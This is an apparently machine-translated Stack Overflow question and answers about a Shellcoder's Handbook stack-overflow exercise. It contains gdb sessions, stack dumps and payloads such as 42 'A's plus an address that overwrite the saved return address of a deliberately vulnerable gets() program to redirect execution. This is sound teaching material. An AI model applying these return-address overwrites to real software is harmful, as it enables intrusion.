1

我正在查看这个示例 wrt shellcoder's handbook(second edition),并且对堆栈有一些疑问

root@bt:~/pentest# gdb -q sc  
Reading symbols from /root/pentest/sc...done.  
(gdb) set disassembly-flavor intel    
(gdb) list    
1   void ret_input(void){    
2       char array[30];  
3     
4       gets(array);  
5       printf("%s\n", array);  
6   }  
7   main(){  
8       ret_input();  
9     
10      return 0;  
(gdb) disas ret_input   
Dump of assembler code for function ret_input:  
   0x08048414 <+0>: push   ebp  
   0x08048415 <+1>: mov    ebp,esp  
   0x08048417 <+3>: sub    esp,0x24  
   0x0804841a <+6>: lea    eax,[ebp-0x1e]  
   0x0804841d <+9>: mov    DWORD PTR [esp],eax  
   0x08048420 <+12>:    call   0x804832c <gets@plt>  
   0x08048425 <+17>:    lea    eax,[ebp-0x1e]  
   0x08048428 <+20>:    mov    DWORD PTR [esp],eax  
   0x0804842b <+23>:    call   0x804834c <puts@plt>  
   0x08048430 <+28>:    leave    
   0x08048431 <+29>:    ret      
End of assembler dump.  
(gdb) break *0x08048420  
Breakpoint 1 at 0x8048420: file sc.c, line 4.  
(gdb) break *0x08048431  
Breakpoint 2 at 0x8048431: file sc.c, line 6.  
(gdb) run  
Starting program: /root/pentest/sc   

Breakpoint 1, 0x08048420 in ret_input () at sc.c:4  
4       gets(array);  
(gdb) x/20x $esp  
0xbffff51c: 0xbffff522  0xb7fca324  0xb7fc9ff4  0x08048460  
0xbffff52c: 0xbffff548  0xb7ea34a5  0xb7ff1030  0x0804846b  
0xbffff53c: 0xb7fc9ff4  0xbffff548  0x0804843a  0xbffff5c8  
0xbffff54c: 0xb7e8abd6  0x00000001  0xbffff5f4  0xbffff5fc  
0xbffff55c: 0xb7fe1858  0xbffff5b0  0xffffffff  0xb7ffeff4  
(gdb) continue   
Continuing.  
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDD  
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDD  

Breakpoint 2, 0x08048431 in ret_input () at sc.c:6  
6   }  
(gdb) x/20x 0x0bffff51c  
0xbffff51c: 0xbffff522  0x4141a324  0x41414141  0x41414141  
0xbffff52c: 0x42424242  0x42424242  0x43434242  0x43434343  
0xbffff53c: 0x43434343  0x44444444  0x44444444  0xbffff500  
0xbffff54c: 0xb7e8abd6  0x00000001  0xbffff5f4  0xbffff5fc  
0xbffff55c: 0xb7fe1858  0xbffff5b0  0xffffffff  0xb7ffeff4  
(gdb) ^Z  
[1]+  Stopped                 gdb -q sc  
root@bt:~/pentest# printf "AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD\x35\x84\x04\x08" | ./sc   
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD5�  
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD:�  
root@bt:~/pentest# 

在这个例子中,我使用了 48 个字节 "AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD\x35\x84\x04\x08" 来重写 ret 地址,一切正常。但是当我尝试使用本书第一版中的示例时,我遇到了一些问题

root@bt:~/pentest# gdb -q sc  
Reading symbols from /root/pentest/sc...done.  
(gdb) disas ret_input   
Dump of assembler code for function ret_input:  
   0x08048414 <+0>: push   %ebp  
   0x08048415 <+1>: mov    %esp,%ebp  
   0x08048417 <+3>: sub    $0x24,%esp  
   0x0804841a <+6>: lea    -0x1e(%ebp),%eax  
   0x0804841d <+9>: mov    %eax,(%esp)  
   0x08048420 <+12>:    call   0x804832c <gets@plt>  
   0x08048425 <+17>:    lea    -0x1e(%ebp),%eax  
   0x08048428 <+20>:    mov    %eax,(%esp)   
   0x0804842b <+23>:    call   0x804834c <puts@plt>  
   0x08048430 <+28>:    leave    
   0x08048431 <+29>:    ret      
End of assembler dump.  
(gdb)   

为什么程序占用了 24(十六进制)=36(十进制)字节作为数组,但我使用了 48 个重写,36 个字节的数组,8 个字节的 esp 和 ebp(我怎么知道),但是有钢有 4 个无法解释的字节

好的,让我们试试第一版书中的拆分,他们通过调用函数的地址重写了所有数组,在书中他们有“sub &0x20,%esp”所以代码是

main(){  
 int i=0;  
 char stuffing[44];  

 for (i=0;i<=40;i+=4) 
 *(long *) &stuffing[i] = 0x080484bb;  
 puts(array);  

我有 ""sub &0x24,%esp" 所以我的代码是

main(){  
 int i=0;  
 char stuffing[48];  

 for (i=0;i<=44;i+=4)
 *(long *) &stuffing[i] = 0x08048435;  
 puts(array); 

shellcoders 手册的结果

 [root@localhost /]# (./adress_to_char;cat) | ./overflow  
input   
""""""""""""""""""a<u___.input  
input  
input  

和我的结果

root@bt:~/pentest# (./ad_to_ch;cat) | ./sc  
5�h���ل$���������h����4��0��˄  
inout  
Segmentation fault  
root@bt:~/pentest#  

什么问题?我正在编译

-fno-stack-protector -mpreferred-stack-boundary=2

4

2 回答 2

3

我建议您最好通过在 GDB 中尝试来获得溢出缓冲区所需的字节数。我编译了您在问题中提供的源代码并通过 GDB 运行它:

gdb$ r < <(python -c "print('A'*30)")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Inferior 1 (process 29912) exited normally]

(请注意,我使用 Python 创建输入而不是编译的 C 程序。没关系,使用你喜欢的。)

所以 30 个字节就可以了。让我们再尝试一些:

gdb$ r < <(python -c "print('A'*50)")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x41414141
0x41414141 in ?? ()

gdb$ i r $eip
eip            0x41414141   0x41414141

我们的eip寄存器现在包含0x41414141ASCIIAAAA格式。现在,我们可以逐步检查我们必须将值放在更新缓冲区中的确切位置eip

gdb$ r < <(python -c "print('A'*40+'BBBB')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x8004242
0x08004242 in ?? ()

B0x42eip因此,我们在使用 40A和 4时覆盖了一半B。因此,我们用 42 填充,A然后输入我们想要更新的值eip

gdb$ r < <(python -c "print('A'*42+'BBBB')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x42424242
0x42424242 in ?? ()

我们完全控制了eip!让我们试试看。在末尾设置断点ret_input(您的地址可能会随着我重新编译二进制文件而有所不同):

gdb$ dis ret_input
Dump of assembler code for function ret_input:
   0x08048404 <+0>: push   %ebp
   0x08048405 <+1>: mov    %esp,%ebp
   0x08048407 <+3>: sub    $0x38,%esp
   0x0804840a <+6>: lea    -0x26(%ebp),%eax
   0x0804840d <+9>: mov    %eax,(%esp)
   0x08048410 <+12>:    call   0x8048310 <gets@plt>
   0x08048415 <+17>:    lea    -0x26(%ebp),%eax
   0x08048418 <+20>:    mov    %eax,(%esp)
   0x0804841b <+23>:    call   0x8048320 <puts@plt>
   0x08048420 <+28>:    leave  
   0x08048421 <+29>:    ret    
End of assembler dump.
gdb$ break *0x8048421
Breakpoint 1 at 0x8048421

举个例子,让我们修改eip一下,一旦从函数返回,ret_input我们就会再次回到函数的开头:

gdb$ r < <(python -c "print('A'*42+'\x04\x84\x04\x08')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�    

--------------------------------------------------------------------------[code]
=> 0x8048421 <ret_input+29>:    ret    
   0x8048422 <main>:    push   ebp
   0x8048423 <main+1>:  mov    ebp,esp
   0x8048425 <main+3>:  and    esp,0xfffffff0
   0x8048428 <main+6>:  call   0x8048404 <ret_input>
   0x804842d <main+11>: mov    eax,0x0
   0x8048432 <main+16>: leave  
   0x8048433 <main+17>: ret    
--------------------------------------------------------------------------------

Breakpoint 1, 0x08048421 in ret_input ()

我们填充 42 A,然后将地址附加ret_input到我们的缓冲区。ret我们在触发器 上的断点。

gdb$ x/w $esp
0xffffd30c: 0x08048404

在堆栈的顶部有我们缓冲区的最后一个 DWORD -ret_input的地址。

gdb$ n
0x08048404 in ret_input ()    

gdb$ i r $eip
eip            0x8048404    0x8048404 <ret_input>

执行下一条指令会将该值从堆栈中弹出并eip相应地设置。

附带说明:我推荐这个人的 .gdbinit 文件。

于 2012-08-14T11:11:13.943 回答
1

这一行:

对于 (i=o;i<=44;i+=4);

;从末端删除。我还假设在o这里输入错误的是(字母 o)而不是 0(零)。

问题是你的 for 循环正在执行;(也就是什么都不做),直到 i 变得大于 44,然后你执行下一个命令,i = 44它在数组的边界之外,你得到Segmentation Error. 您应该注意这种类型的错误,因为它几乎不可见,而且它是完全有效的 c 代码。

于 2012-08-13T15:35:10.740 回答